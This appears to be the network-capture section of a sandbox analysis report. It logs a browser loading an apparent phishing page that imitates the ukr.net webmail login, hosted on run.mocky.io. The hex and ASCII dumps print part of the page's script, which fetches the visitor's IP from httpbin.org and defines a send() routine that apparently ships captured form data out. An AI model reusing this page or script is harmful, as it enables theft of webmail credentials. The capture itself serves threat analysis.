28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49756	91.208.207.216	443	1208	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:24 UTC	716	OUT	GET /v3/11273092-7220-4b85-b8d8-758c5fd141a2 HTTP/1.1 Host: run.mocky.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: http://ukraine.html-5.me/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 06:50:24 UTC	176	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Date: Thu, 24 Oct 2024 06:50:24 GMT Connection: close Content-Length: 130570 Sozu-Id: 01JAYMMTZ7ZRHAKXYVC8M3SQ8A
2024-10-24 06:50:24 UTC	14342	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 20 6c 61 6e 67 3d 22 75 6b 22 3e 0a 3c 74 69 74 6c 65 3e d0 9f d0 be d1 88 d1 82 d0 b0 20 40 20 75 6b 72 2e 6e 65 74 20 2d 20 d1 83 d0 ba d1 80 d0 b0 d1 97 d0 bd d1 81 d1 8c d0 ba d0 b0 20 d0 b5 d0 bb d0 b5 d0 ba d1 82 d1 80 d0 be d0 bd d0 bd d0 b0 20 d0 bf d0 be d1 88 d1 82 d0 b0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 36 36 39 39 30 30 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 Data Ascii: <html><head lang="uk"><title> @ ukr.net - </title><meta content="text/html; charset=utf-8" http-equiv="Content-Type"><meta name="theme-color" content="#669900"><link rel="icon" href="https
2024-10-24 06:50:24 UTC	15928	IN	Data Raw: 20 31 2e 37 37 31 2d 2e 36 37 34 20 31 2e 37 33 2d 2e 37 36 20 31 2e 36 39 2d 31 37 2e 35 39 36 2d 33 32 2e 34 39 31 68 2d 32 2e 36 31 35 6c 2e 31 32 37 20 33 35 2e 32 33 32 20 32 2e 35 37 34 2d 2e 30 38 35 2d 2e 30 38 36 2d 32 39 2e 36 36 33 20 31 36 2e 30 37 38 20 32 39 2e 36 32 33 68 32 2e 36 35 38 6c 31 2e 31 34 2d 32 2e 30 32 36 20 31 2e 30 31 31 2d 32 2e 30 36 38 2e 38 34 35 2d 32 2e 31 31 2e 33 38 2d 31 2e 30 39 36 2e 33 33 37 2d 31 2e 30 35 36 2e 32 39 36 2d 31 2e 31 34 2e 32 35 34 2d 31 2e 30 39 37 2e 32 31 2d 31 2e 31 33 39 2e 31 37 2d 31 2e 30 39 35 2e 31 32 36 2d 31 2e 31 34 2e 31 32 37 2d 31 2e 31 34 2e 30 34 2d 31 2e 31 38 31 2e 30 34 33 2d 31 2e 31 34 2d 2e 30 38 33 2d 31 2e 36 38 37 2d 2e 31 32 37 2d 31 2e 36 30 34 2d 2e 32 31 2d 31 2e 36 Data Ascii: 1.771-.674 1.73-.76 1.69-17.596-32.491h-2.615l.127 35.232 2.574-.085-.086-29.663 16.078 29.623h2.658l1.14-2.026 1.011-2.068.845-2.11.38-1.096.337-1.056.296-1.14.254-1.097.21-1.139.17-1.095.126-1.14.127-1.14.04-1.181.043-1.14-.083-1.687-.127-1.604-.21-1.6
2024-10-24 06:50:24 UTC	13032	IN	Data Raw: 69 6e 69 74 65 25 32 43 66 61 64 65 20 32 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 27 25 33 45 25 33 43 72 65 63 74 20 66 69 6c 6c 3d 27 25 32 33 66 66 66 27 20 78 3d 27 35 2e 39 27 20 79 3d 27 33 33 2e 30 31 27 20 77 69 64 74 68 3d 27 33 38 2e 30 33 27 20 68 65 69 67 68 74 3d 27 34 31 27 20 72 78 3d 27 32 2e 34 27 20 72 79 3d 27 32 2e 34 27 2f 25 33 45 25 33 43 70 61 74 68 20 66 69 6c 6c 3d 27 25 32 33 63 63 64 36 65 32 27 20 64 3d 27 4d 34 31 2e 35 32 20 33 34 2e 39 32 61 2e 35 2e 35 20 30 20 30 31 2e 35 2e 34 39 76 33 36 2e 32 61 2e 35 2e 35 20 30 20 30 31 2d 2e 35 2e 34 39 48 38 2e 33 31 61 2e 35 2e 35 20 30 20 30 31 2d 2e 35 2d 2e 34 39 76 2d 33 36 2e 32 61 2e 35 2e 35 20 30 20 30 31 2e 35 2d 2e 34 39 68 33 33 2e 32 31 6d 30 2d 31 2e 39 31 Data Ascii: inite%2Cfade 2s linear infinite'%3E%3Crect fill='%23fff' x='5.9' y='33.01' width='38.03' height='41' rx='2.4' ry='2.4'/%3E%3Cpath fill='%23ccd6e2' d='M41.52 34.92a.5.5 0 01.5.49v36.2a.5.5 0 01-.5.49H8.31a.5.5 0 01-.5-.49v-36.2a.5.5 0 01.5-.49h33.21m0-1.91
2024-10-24 06:50:24 UTC	2896	IN	Data Raw: 6c 2d 38 2e 30 30 39 2d 38 2e 30 31 2d 2e 30 33 36 2d 2e 30 34 2d 32 2e 37 37 39 20 31 2e 39 34 37 61 34 2e 30 39 31 20 34 2e 30 39 31 20 30 20 30 31 2d 34 2e 34 33 39 2e 31 36 34 6c 2d 2e 32 35 33 2d 2e 31 36 34 2d 32 2e 37 38 31 2d 31 2e 39 34 37 7a 4d 34 2e 32 34 20 31 32 2e 37 30 35 56 32 34 2e 32 33 6c 36 2e 37 38 2d 36 2e 37 38 2d 36 2e 37 38 2d 34 2e 37 34 36 7a 6d 32 37 2e 35 32 20 30 6c 2d 36 2e 37 38 20 34 2e 37 34 36 20 36 2e 37 38 20 36 2e 37 38 56 31 32 2e 37 30 35 7a 6d 2d 31 2e 38 35 38 2d 34 2e 30 30 33 48 36 2e 30 39 39 63 2d 2e 38 34 34 20 30 2d 31 2e 35 35 36 2e 35 36 32 2d 31 2e 37 38 33 20 31 2e 33 33 33 6c 31 32 2e 36 31 38 20 38 2e 38 33 32 61 31 2e 38 36 31 20 31 2e 38 36 31 20 30 20 30 30 31 2e 39 35 33 2e 31 31 31 6c 2e 31 38 2d Data Ascii: l-8.009-8.01-.036-.04-2.779 1.947a4.091 4.091 0 01-4.439.164l-.253-.164-2.781-1.947zM4.24 12.705V24.23l6.78-6.78-6.78-4.746zm27.52 0l-6.78 4.746 6.78 6.78V12.705zm-1.858-4.003H6.099c-.844 0-1.556.562-1.783 1.333l12.618 8.832a1.861 1.861 0 001.953.111l.18-
2024-10-24 06:50:24 UTC	15928	IN	Data Raw: 59 28 30 29 3b 2d 6f 2d 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 2e 55 36 6e 34 47 30 6f 4b 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 6d 4e 71 76 78 46 71 37 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 30 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 0a 2e 5f 32 50 36 50 7a 61 33 32 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 5f 32 50 36 50 7a 61 33 32 2e 5f 31 68 74 4a 7a 47 49 54 7b 63 75 72 73 6f 72 3a 64 65 66 61 75 6c 74 7d 2e 45 5f 41 66 4b 62 50 45 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6c 65 66 74 3a 30 3b 6f 70 61 63 Data Ascii: Y(0);-o-transform:translateY(0);transform:translateY(0);opacity:1}}.U6n4G0oK{text-align:center}.mNqvxFq7{margin-bottom:30px;width:100%}._2P6Pza32{position:relative;cursor:pointer}._2P6Pza32._1htJzGIT{cursor:default}.E_AfKbPE{position:absolute;left:0;opac
2024-10-24 06:50:24 UTC	16384	IN	Data Raw: 33 45 25 30 41 5c 22 29 22 3b 0a 7d 0a 0a 66 75 6e 63 74 69 6f 6e 20 6e 6f 77 61 69 74 28 29 0a 7b 0a 24 28 27 62 75 74 74 6f 6e 27 29 5b 33 5d 2e 64 69 73 61 62 6c 65 64 3d 27 27 3b 0a 24 28 27 62 75 74 74 6f 6e 27 29 5b 33 5d 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 3d 27 27 3b 0a 7d 0a 0a 76 61 72 20 72 65 73 70 49 50 3d 24 2e 67 65 74 4a 53 4f 4e 28 27 68 74 74 70 73 3a 2f 2f 68 74 74 70 62 69 6e 2e 6f 72 67 2f 69 70 27 29 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 73 65 6e 64 28 64 61 74 61 29 0a 7b 0a 64 61 74 61 3d 64 61 74 61 2b 27 26 69 70 3d 27 2b 72 65 73 70 49 50 2e 72 65 73 70 6f 6e 73 65 4a 53 4f 4e 5b 27 6f 72 69 67 69 6e 27 5d 3b 0a 76 61 72 20 72 65 71 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 28 29 3b 0a Data Ascii: 3E%0A\")";}function nowait(){$('button')[3].disabled='';$('button')[3].style.backgroundImage='';}var respIP=$.getJSON('https://httpbin.org/ip');function send(data){data=data+'&ip='+respIP.responseJSON['origin'];var req=new XMLHttpRequest();
2024-10-24 06:50:24 UTC	16384	IN	Data Raw: 22 20 66 69 6c 6c 3d 22 66 72 65 65 7a 65 22 3e 0a 3c 2f 61 6e 69 6d 61 74 65 54 72 61 6e 73 66 6f 72 6d 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 22 64 22 20 62 65 67 69 6e 3d 22 30 73 22 20 64 75 72 3d 22 31 2e 35 73 22 20 66 69 6c 6c 3d 22 66 72 65 65 7a 65 22 20 76 61 6c 75 65 73 3d 22 0a 20 20 20 20 20 20 20 20 20 20 4d 37 32 2e 35 2c 31 37 2e 35 41 31 37 2e 35 2c 31 37 2e 35 2c 30 2c 30 2c 31 2c 39 30 2c 30 48 30 41 31 37 2e 35 2c 31 37 2e 35 2c 30 2c 30 2c 31 2c 30 2c 33 35 48 39 30 41 31 37 2e 35 2c 31 37 2e 35 2c 30 2c 30 2c 31 2c 37 32 2e 35 2c 31 37 2e 35 5a 3b 0a 20 20 20 20 20 20 20 20 20 20 4d 31 36 32 2e 35 2c 31 37 2e 35 41 31 37 2e 35 2c 31 37 2e 35 2c 30 2c 30 2c 31 2c 31 38 Data Ascii: " fill="freeze"></animateTransform> <animate attributeName="d" begin="0s" dur="1.5s" fill="freeze" values=" M72.5,17.5A17.5,17.5,0,0,1,90,0H0A17.5,17.5,0,0,1,0,35H90A17.5,17.5,0,0,1,72.5,17.5Z; M162.5,17.5A17.5,17.5,0,0,1,18
2024-10-24 06:50:24 UTC	15016	IN	Data Raw: 20 20 20 3c 21 2d 2d 53 50 45 45 44 20 56 41 4c 55 45 20 32 37 30 2d 2d 3e 0a 20 20 20 20 3c 67 20 6f 70 61 63 69 74 79 3d 22 30 22 3e 0a 20 20 20 20 20 20 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 38 32 61 66 33 32 22 20 64 3d 22 4d 33 35 37 2e 34 34 2c 31 32 34 2e 36 6c 31 31 2d 32 30 2e 38 32 61 37 2e 36 32 2c 37 2e 36 32 2c 30 2c 30 2c 30 2c 31 2d 32 2e 37 33 71 2e 31 32 2d 31 2e 31 37 2e 31 32 2d 32 2e 39 31 63 30 2d 2e 35 32 2c 30 2d 31 2e 30 37 2d 2e 30 36 2d 31 2e 36 35 61 35 2c 35 2c 30 2c 30 2c 30 2d 2e 33 33 2d 31 2e 35 33 2c 32 2e 36 31 2c 32 2e 36 31 2c 30 2c 30 2c 30 2d 2e 38 37 2d 31 2e 31 31 2c 32 2e 38 37 2c 32 2e 38 37 2c 30 2c 30 2c 30 2d 31 2e 37 34 2d 2e 34 35 2c 32 2e 37 36 2c 32 2e 37 36 2c 30 2c 30 2c 30 2d 33 2c 33 2e 30 36 76 33 2e Data Ascii: ...SPEED VALUE 270--> <g opacity="0"> <path fill="#82af32" d="M357.44,124.6l11-20.82a7.62,7.62,0,0,0,1-2.73q.12-1.17.12-2.91c0-.52,0-1.07-.06-1.65a5,5,0,0,0-.33-1.53,2.61,2.61,0,0,0-.87-1.11,2.87,2.87,0,0,0-1.74-.45,2.76,2.76,0,0,0-3,3.06v3.
2024-10-24 06:50:24 UTC	15928	IN	Data Raw: 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3d 22 72 6f 75 6e 64 22 20 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3d 22 38 20 38 22 20 6f 70 61 63 69 74 79 3d 22 30 22 20 64 3d 22 4d 31 34 35 2e 36 39 2c 33 35 33 73 32 35 2e 31 36 2d 35 34 2d 37 2e 31 33 2d 38 35 2e 32 34 63 2d 31 30 2e 34 37 2d 31 32 2e 36 2d 34 36 2e 34 2d 31 31 2d 35 36 2e 35 33 2d 36 32 2e 37 36 22 3e 0a 20 20 20 20 3c 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 54 79 70 65 3d 22 43 53 53 22 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 22 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 22 20 66 72 6f 6d 3d 22 38 20 38 20 30 20 31 30 30 30 22 20 74 6f 3d 22 38 20 38 20 38 20 38 20 38 20 38 20 38 20 38 20 38 20 38 20 38 20 38 20 38 20 38 20 38 20 38 20 30 20 31 30 30 30 22 20 76 Data Ascii: roke-linejoin="round" stroke-dasharray="8 8" opacity="0" d="M145.69,353s25.16-54-7.13-85.24c-10.47-12.6-46.4-11-56.53-62.76"> <animate attributeType="CSS" attributeName="stroke-dasharray" from="8 8 0 1000" to="8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 0 1000" v
2024-10-24 06:50:24 UTC	4732	IN	Data Raw: 6f 74 69 6f 6e 3e 0a 0a 20 20 20 20 3c 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 54 79 70 65 3d 22 43 53 53 22 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 22 6f 70 61 63 69 74 79 22 20 66 72 6f 6d 3d 22 30 22 20 74 6f 3d 22 31 22 20 62 65 67 69 6e 3d 22 31 2e 39 73 22 20 64 75 72 3d 22 30 2e 35 73 22 20 66 69 6c 6c 3d 22 66 72 65 65 7a 65 22 3e 0a 3c 2f 61 6e 69 6d 61 74 65 3e 0a 20 20 3c 2f 70 61 74 68 3e 0a 0a 20 20 3c 21 2d 2d 43 4c 4f 55 44 20 34 2d 2d 3e 0a 20 20 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 39 39 61 31 61 64 22 20 6f 70 61 63 69 74 79 3d 22 30 22 20 64 3d 22 4d 35 31 34 2e 35 39 2c 38 37 61 31 2e 34 31 2c 31 2e 34 31 2c 30 2c 30 2c 31 2d 31 2e 34 2d 31 2e 32 39 2c 35 2e 30 36 2c 35 2e 30 36 2c 30 2c 30 2c 30 2d 34 2e 38 32 2d 34 Data Ascii: otion> <animate attributeType="CSS" attributeName="opacity" from="0" to="1" begin="1.9s" dur="0.5s" fill="freeze"></animate> </path> ...CLOUD 4--> <path fill="#99a1ad" opacity="0" d="M514.59,87a1.41,1.41,0,0,1-1.4-1.29,5.06,5.06,0,0,0-4.82-4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49757	91.208.207.216	443	1208	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:24 UTC	601	OUT	GET /v3/8dbd585e-805d-4b14-8485-c6da4c3ef5a7 HTTP/1.1 Host: run.mocky.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://run.mocky.io/v3/11273092-7220-4b85-b8d8-758c5fd141a2 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 06:50:24 UTC	138	IN	HTTP/1.1 404 Not Found Date: Thu, 24 Oct 2024 06:50:24 GMT Connection: close Content-Length: 0 Sozu-Id: 01JAYMMTZA9QQM5DRRTEMPR6MC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49761	34.228.248.173	443	1208	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:27 UTC	578	OUT	GET /ip HTTP/1.1 Host: httpbin.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json, text/javascript, /; q=0.01 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://run.mocky.io Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://run.mocky.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 06:50:27 UTC	243	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:27 GMT Content-Type: application/json Content-Length: 33 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: https://run.mocky.io Access-Control-Allow-Credentials: true
2024-10-24 06:50:27 UTC	33	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 22 0a 7d 0a Data Ascii: { "origin": "173.254.250.71"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49764	44.196.139.143	443	1208	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:28 UTC	337	OUT	GET /ip HTTP/1.1 Host: httpbin.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 06:50:28 UTC	224	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:28 GMT Content-Type: application/json Content-Length: 33 Connection: close Server: gunicorn/19.9.0 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
2024-10-24 06:50:28 UTC	33	IN	Data Raw: 7b 0a 20 20 22 6f 72 69 67 69 6e 22 3a 20 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 31 22 0a 7d 0a Data Ascii: { "origin": "173.254.250.71"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49768	185.199.109.133	443	1208	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:29 UTC	601	OUT	GET /noppa/text-security/master/dist/text-security-disc.woff HTTP/1.1 Host: raw.githubusercontent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://run.mocky.io sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://run.mocky.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 06:50:30 UTC	896	IN	HTTP/1.1 200 OK Connection: close Content-Length: 2988 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: application/octet-stream ETag: "1af84f4b5cb0da4c8a77a686224dec2d6ce6202a2a39d86127c1de7a964fa101" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 2059:B80CB:A7FC0:BC3F3:6719EE30 Accept-Ranges: bytes Date: Thu, 24 Oct 2024 06:50:30 GMT Via: 1.1 varnish X-Served-By: cache-dfw-kdal2120120-DFW X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1729752630.045171,VS0,VE85 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: ce298dc6efb0a7f0370ec5a8cebeab7a06c9bf8d Expires: Thu, 24 Oct 2024 06:55:30 GMT Source-Age: 0
2024-10-24 06:50:30 UTC	1378	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 0b ac 00 0b 00 00 00 00 30 68 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 53 55 42 00 00 01 08 00 00 00 3b 00 00 00 54 20 8b 25 7a 4f 53 2f 32 00 00 01 44 00 00 00 3e 00 00 00 56 63 46 63 39 63 6d 61 70 00 00 01 84 00 00 08 02 00 00 2b 62 68 e3 61 55 67 6c 79 66 00 00 09 88 00 00 00 41 00 00 00 50 88 e6 23 da 68 65 61 64 00 00 09 cc 00 00 00 2e 00 00 00 36 11 f1 79 a6 68 68 65 61 00 00 09 fc 00 00 00 1c 00 00 00 24 0a 8d 03 23 68 6d 74 78 00 00 0a 18 00 00 00 08 00 00 00 08 03 20 00 00 6c 6f 63 61 00 00 0a 20 00 00 00 06 00 00 00 06 00 28 00 00 6d 61 78 70 00 00 0a 28 00 00 00 1e 00 00 00 20 01 0e 00 22 6e 61 6d 65 00 00 0a 48 00 00 01 42 00 00 02 8e 70 de b7 b7 70 6f 73 74 00 00 0b 8c 00 00 00 Data Ascii: wOFF0hGSUB;T %zOS/2D>VcFc9cmap+bhaUglyfAP#head.6yhhea$#hmtx loca (maxp( "nameHBppost
2024-10-24 06:50:30 UTC	1378	IN	Data Raw: 7a 31 d1 8b 8b 5e 42 f4 92 a2 97 12 bd b4 e8 65 44 2f 2b 7a 39 d1 cb 8b 5e 41 f4 8a a2 ff 24 fa cf a2 57 12 fd 17 d1 2b 8b fe ab e8 55 44 ff 4d f4 aa a2 57 13 bd ba e8 35 44 af 29 7a 2d d1 6b 8b 5e 47 f4 ba a2 d7 13 bd be e8 0d 44 ff 5d f4 86 a2 37 12 bd b1 e8 4d 44 6f 2a 7a 33 d1 9b 8b de 42 f4 96 a2 b7 12 bd b5 e8 6d 44 6f 2b 7a 3b d1 db 8b de 41 f4 8e a2 77 12 bd b3 e8 5d 44 ef 2a 7a 37 d1 bb 8b de 43 f4 9e a2 f7 12 bd b7 e8 7d 44 ef 2b 7a 3f d1 fb 8b 3e 40 f4 81 a2 0f 12 7d b0 e8 43 44 1f 2a fa 30 d1 87 8b 3e 42 f4 91 a2 8f 12 7d b4 e8 63 44 1f 2b fa 38 d1 c7 8b 3e 41 f4 89 a2 4f 12 7d b2 e8 53 44 9f 2a fa 34 d1 a7 8b 3e 43 f4 99 a2 cf 12 7d b6 e8 73 44 9f 2b fa 3c d1 e7 8b be 40 f4 85 a2 ff 21 fa 9f a2 2f 12 7d b1 e8 4b 44 5f 2a fa 32 d1 97 8b be 42 Data Ascii: z1^BeD/+z9^A$W+UDMW5D)z-k^GD]7MDoz3BmDo+z;Aw]Dz7C}D+z?>@}CD0>B}cD+8>AO}SD4>C}sD+<@!/}KD_*2B
2024-10-24 06:50:30 UTC	232	IN	Data Raw: f6 dc 20 ff 78 6e e2 56 74 3d b7 d0 13 0f 9e db 58 88 17 cf 1d dc 8b 0f ab 0e b6 5f aa 68 67 52 7b ec c7 69 19 cd d5 6a 97 85 e6 d4 38 55 16 ca 94 a9 ce e5 28 18 9e 9a 33 95 2b 13 5a 15 cb e5 51 96 fb d5 d8 da 44 26 46 6f e5 54 e7 56 65 99 96 85 d1 1b 15 d9 60 6d 6d 31 19 0c 12 af 07 91 de c2 42 e1 c0 b7 8f 92 14 61 07 83 94 f5 91 4a 4c 2a a9 cd e9 ac e8 64 08 e9 9e d3 71 4e 66 41 c7 90 52 68 e4 90 18 21 c0 f0 ac ce 19 9d dc 75 87 2e 1f b3 7b c9 84 a4 bb e7 4f c7 54 2d 12 d6 09 33 1a 5b d2 d4 6d a9 d2 19 af a6 52 38 6f e3 b6 58 ee 5e bb ae 02 13 0c 78 93 7f f9 80 29 4e fa 05 3b 97 7e 4f 00 00 78 9c 63 60 62 80 00 11 06 ec 80 89 91 89 91 99 81 25 25 b3 38 99 81 01 00 0b 43 01 c7 00 00 00 Data Ascii: xnVt=X_hgR{ij8U(3+ZQD&FoTVe`mm1BaJL*dqNfARh!u.{OT-3[mR8oX^x)N;~Oxc`b%%8C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49767	104.17.24.14	443	1208	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-24 06:50:29 UTC	596	OUT	GET /ajax/libs/lato-font/2.0.0/fonts/lato-bold/lato-bold.ttf HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://run.mocky.io sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://run.mocky.io/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-24 06:50:30 UTC	963	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 06:50:30 GMT Content-Type: application/octet-stream; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5ecc4dc2-92b18" Last-Modified: Mon, 25 May 2020 22:59:14 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 373858 Expires: Tue, 14 Oct 2025 06:50:30 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qbbo6Bvp%2BG2svN9s39pInpWcX%2FY787r%2Fz76HpZqj9gDQQskrrahc7o3MNzDhEX0yEbvOGR2eRf%2Fymqj6CZwRChDa0mwtIf0NAwo7nlG6s85zSvEQU6C5Iu7QnC4qMB1IJEOn7D8N"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8d780871dc9b4769-DFW alt-svc: h3=":443"; ma=86400
